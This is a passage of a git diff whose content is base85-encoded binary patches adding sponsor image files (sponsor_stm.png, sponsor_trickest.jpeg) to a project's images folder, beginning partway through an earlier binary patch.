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

literal 0
HcmV?d00001

diff --git a/src/images/sponsor_stm.png b/src/images/sponsor_stm.png
new file mode 100644
index 0000000000000000000000000000000000000000..e45c021c8299aaab7a1961038d91093db27c572b
GIT binary patch
literal 5481
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
bHLtl7`UM!UbI)jRK`B5_%SaQWZjbmcXA3RG

literal 0
HcmV?d00001

diff --git a/src/images/sponsor_trickest.jpeg b/src/images/sponsor_trickest.jpeg
new file mode 100644
index 0000000000000000000000000000000000000000..92331426bd02d09214a2bac0192fdc860184c812
GIT binary patch
literal 4237
zcmYjU2{_bW_rKrS><r2-vK#x7ou*XYk}V`dsO&}}dt$VREM?!x7P1u+GM2Gb2%+pl
zkq{%hki66Td;jnAKleV*J?DPTIrrTAJm)^=9F87-0q6_o&YuGi1OP-E;BW#w01PNP
zG$SJ#jizUyO*%$8dIknMw!fUPAeV@+pb#gIl&UO`gp#BXr<{_Uq_n!cyn?8ViiV1u
zx~itU48+LD$jZXXheq?u2?`#Uk&}^^laY~;`!CVt|6~8I|6fr52RI}Hc6#t0yoW>V
z0LBi%*`dP@!2dT)7@QX6{|JJi5J);W4b(#e7=Xj+80g?|<UcA949<=?K7dp@W%g=y
z4aLDJdd)k$_3IH4<x3Xvc}Gtt>R(R~Q&Bx*&PB85qxptIf8XJM1i_F9IEsczveV9m
z;0PED2LCTg^NnEV;5@EmcIq1Ph{)-q%HD_LfSDE?j2+GnPJ;C(`mej68S4pSrI@j$
z_^LooezJKaGu9Nfz(9f#LX%)#lStu<fH+DH1nan;Vg?;Z^%6FwrCZF{XEKr8j4wsj
zOISvci<8KYhz@{e!U_P=d_6rOhN%N?N5IOQLG=nVAhQ@ckp9!<s0GH6DhF-?%P1!k
z0n88-u$X=#LrWktmbkwQ@t_E%bm(JN-yu^50`}<s6&9>gaUk<e2rJ2fG8{-?3Hk`%
zf|@;rv23Aa0W>q#8`k(m(L<44<`4+mx<VCOkopQ#vkJ@fqJqzA9~o1~!d$7LAib8*
zwhEM1g)Qd;f`s8G=gBAsur_xsys?W!#JplZ$+#Ywv)**XUM%cO*DPksgBmQ=vhl>e
z?Wcg_53A9+GcCnjuUC}b8duycKFi%D^ozz8-OZ-y2me8tFqm9w?u%1M&<%qNh|Sx(
z7;twT-3gJ6Q&|+eu&<@j{I8nd<vA*gI!nt7(_LJ3E3ew_3M?)A%<PJctp4SHXnKdl
zheekPIO%-VQeQX7I0Sxi96k^KYNw`8n(zl}o)I;29WWfS6!B16JzFMiv=zUan{@Y}
z;M=aQ+c*axGc`LL*#hwBWq4vD-V8@op3`6J%P5kx$-`N@k0dqv@rrV3Ha10zIlA%c
zU5c<x(_Ag;%lc}Je^1)vv*<kfsKec_uHW;!?RLMN;(WBt1XtHAQ)dPBzEgeMn#Uc7
zF`a9!ubW=ta}*nKQ=_#uF$$bscz#LO&HsodJe!S1G_;OqlZgAkFBubTC-K2XGDeP5
zmS65IcT@^XBKs!s=8O&AhpJfbd?7;YGiPxVTim_WR>Po2%{nQMvgbTFt8q6{DAyjA
z6m^=!(WUJkoI93dl&Rs>O{({;Ut8Up?10_50x)I!W_Az=0XNCiT}k(d-ej?hu|;ym
zk8RCPMj(bPe-{iLtsiUOWi-CXRjwObb6I;QL}$e9`j}HbkJ^PbW`4=GHEV}4-P8)b
zv|8)H!dLj@nd;W+fQK^)t<@8412jy#>S&5wV#68-ZTpEwr?Y4~swZfbXjSJgmtu!$
zt-coMs#BKpd?LS~!J^*r%%(<F<q+J)wf0<d2FdJ`O4Pt=QmcKMFj;I1_6ezk)pdoV
z`Tg05#zXwN=JA>?6L@#}{6k>wWZDzAKYL$al{hlT7XLdXu_%Zbn9?@(sdsE6Q%H?#
z5qEkV*YPWOP(3Y(%dDq1eIq|=+(rM&jA<+4CQ{CQ)bU%7Tk6P{!RzG)F8o{4hrrr(
zd1<E9xagp19wq&!pxgXU^}z2n){29It+hRqPcAL{DRF(x$3M3aH<k8In&oc!Kbeor
zsW`}H45pz6wufLo(ywZH!F*uv!Os`D|1m8tFww8;+bc8J=+GM3_AOo1Z4UTs@+UBA
z$=<V0%VML(?^{!jBUfkwek}fC?$1-qU2)=wCT@P57EZb;JtOn7i)#Q&b_;9ZBkNS3
z$JN$ZmP<E`ZIf+w-|3a9U&w5@b$w1jH>y6<^K-|9Cuu^@$JtZ+b-r5cgO`p51O~1>
zLJafM)24KQ?LAY?c_D<hyvdwFBK4_}<-*cHe?*;ug3-HL{<TzzDihvUMs{y7zA6r8
z`bV8U+~fHYrJes^q`b2r;N7&quzxbXE~$e``5sc+rPt-Yc>K|UZc!&k{*Kd!!I-AY
z@+ysbxoZt^MQXW<!+n>t&XbO5OLld#D@R`4<`9L9KPD0cizTZAUXOEll%}3fe0|$b
z5NFGouy2@amLScq|4~IIxywwBK}esSh<_iqLE_1$HY5kfyJZ*nEwRugY3h$t<zqLM
z%McYN#9fMWXwjd%vf_7dNewmeD;{eXk)dP*GHkt(`5sF;0RqHnQ_(u_*r(H)@D$Be
zZB_3(>qF_zp1*Ioor_DAKLnlOyG9D3h3crjUlBU`RXss^{C+8#COU@M7=;Aqh@iP*
ztu?<zpFV+j#r2@|>xs%zA{OcL>hdQ_(`u`D$F{Eg<f>fV6@N^X5u6J{Q#ExHEo+CL
zJ(egcxt^{Z7bj(@%XU{yqw8)_|BD`t#YT0ft{xHlwQIeGGoCf}TS|M5p;IP!d&%<L
z^K_KNy|e>~6V|$~LUOAQ!~|2T!_0+>3d|EHxSz_l82-frn-utBawbV9Qm*D4!@n_Y
zXL0|8$(o<KGuw$f_pxxwb8ZvAbx}WW&e&{0Z1YxgL$KTQYHQ(_5qAx%n2-kIuew?)
zrk+Pmh~wry%$zUW&3^~<0j72{DWQ1>Zhr&?lrV$+(F$+t;#10~PhDmuUz?Ms*4=_C
za;&{Om)_ddBvyPJUtTqOxL+e|b^=!~G8p?IAbMCrNIH{wwsF|rzyGZNIG=%hwIv^s
zTp3mBpCLQo>g->`I^E5m`{a|CfOxUn@AO{R+sap8kIA8ptm;K}l5aj1l-lY{e7LJ~
z`^LPnf>FF4@8H)s?kf`5f`{8e`i4HSU&GyvTw<#6n<CnZcz?T>v=7GLPSlwtaV&6b
zjc5{K!77zsh?bb~lL<*K^l}RxB=z+BB)=Lj?&Lq{d-{Tc(302lFv~2xJDyhdRseU<
zFQnY?;Q0Yr<0XsNIJ5?v7l&^&qI!XJ?K4|&QsF)N%(jHOr_Q5p3iG^(Mnn2a^^28z
zUdhIkV|FTUt#jjtI%l(jBDTlM+aB+P$oU-4#Yl-*-g9K7PgZ3Q_K7W`#{Kqe)Txmk
z&9BCZrg8;}gp6#o=A~(RueNXxUhC@1tS9XpGja0_dD7kZ`AFnMzA-*xDqHH)N0*6T
zhT2y5JazKM&wAw^F@D-(dU>wbTPq+#r*5U_)`(|OmReN5_WfTyKGj+lQ6Ae<rno|*
z$Mi{+zO2zN8l?Qv(_g1cduE>)8oai42o|Y)!E*N0si3f@T{3SoDx0U1=5fuMPcm^O
z9N$lETlX_Jlzlq{Zoxx>?q9Pu#ulu87T$dXk_KkO99Z_r^;+S8w3BfEF(5ktrrA+I
z2(QPv5r>Rae_l+>P9}P>8GZX>ad}BrNqywhXA@k|crQiIt|)X`x3pDbW!XmS7<zd3
zMxs`bpseE7u<xXW<!$j`0o(_HrEVRfuXVjm^qJ@FyfrE<&OXmIz1ul_X%{g(J69T1
z_>;aaaBM+S*;lO;{lWgtCGqF<#N4yRjgEyl-k|Gl+M2c<zRMd?%L_r4i4E3QWo0T7
zN(H&!$@Yyb?pkGO5qH&6@=Qq1LXU!#Udq&c0Q4M^1nz&)?LI>@cAXvx4hP~dQGDcQ
zJlNsQ<MPvqnnt5kOjSwtdGnM=Kb11W)Z(yWi7K{Bxn5`HEic!du)N#L|BCXc^MRY{
zkfo98a70wvboCaMGH;vL)%VWLP5!x)^LbxVW=ZSkYl{<q>Qr|%%>%5=GXz;T5_S#7
z<~P0dp5Hk??aQgE(xRXH@K=A7&krS^IHTU0J9o3#nME&%{p0rGj6@Ab(;dS;IdqBh
znG{#&GkH|2T<H|GnoCvj_74jwPuVuU!3PjU>d$x`N)Qg`Uc%*Gi_?nBs<WdA2rJ)h
zfjR=n^qW!JQ*R`bb@TfNI=Ss#&SOZksd<?=*~zlb_!sSOC-bJ%Ts89rt)!I0YOOO2
zD^sl#?04KX{Q`rNeHYhn)%0hnzL^{<7*5~V;5Qx|iTjZ|t<@ZtFWJ19=EX}Vb;mN>
za%-?u{(9xzi+j3UH!JkUcD>h<dWH{yb4`O@?RB5I7gMD3!!9uv`^Ffblz7gn=$6La
zH`$a$+`%CL=OR(BAe+Xc;5DhOgud|w!ODezoXsg0`_grK1~G%A5Fo=A;mZifh-ejC
zr=w{tKfat2>8vomsLV$Z;4`D%7aN>tte%Y?aVa>T^_-j^foT=MNL{^Mu&{X3jKue8
z)-$<!-`~E2SZV3_CnCU*@kep(Ov8c%Pw>G>rrQy5xe_a}yc^U{^Nx3JSC1dD{4uj5
zA;-#DY?yOvI_y!-1)uw}6WNs?XZ~af+9n?qSmxZe54$g@(SGl?E@0~}C$x9alf9-8
zUyu|?eVM^=Bu`2MgvKCmVY$4}m}w&Y0h-n_j0cG(-G2XAw(CPYrHF6(N&kU(due;i
zI=&*4)hO#?o^!;Igp|;V-O>=kAO&xhP{Xm^sclS!4M=yVA5p@bMHq9Hg!C?|)(#F-
zygBzX7Z!a4HpD%OxbS-~1go_ht^q1H!7mVs`&kN^O7IcGQ^X!Bt^iv3t^wLj*({JS
z&_*y-i9gXD$McnzS)bgtQ;MF~MW3#XopnA04z)5D({B7tt@X2odm+3x#5MKRMt}A7
z*SNf4U;Vsm?R-H>LMH!7w!F)Z?lEWeZ);~R;snzqzgC&P_Z7f;WifqyM&C$|1=Ag<
zBP+1)!bX%Y>Q>>tzY^{fST+FG0)f4{@f~)PTtC@n9{Pm|9Ti}kQMbvNRiFREg_yi^
